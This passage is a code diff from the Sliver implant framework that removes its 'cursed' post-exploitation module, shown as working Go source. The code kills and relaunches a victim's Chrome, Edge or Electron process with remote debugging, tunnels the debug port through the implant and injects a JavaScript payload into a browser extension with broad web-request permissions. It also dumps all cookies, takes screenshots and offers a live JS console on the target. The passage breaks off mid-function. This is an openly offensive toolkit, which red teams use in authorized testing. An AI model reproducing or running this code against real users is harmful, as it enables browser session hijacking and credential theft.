f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedConsoleCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedChrome,
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedCookies,
Help: "Dump all cookies from cursed process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCookiesCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
}
-3
View File
@@ -1,3 +0,0 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
-435
View File
@@ -1,435 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-183
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@@ -1,183 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
-69
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@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
-170
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@@ -1,170 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-233
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@@ -1,233 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
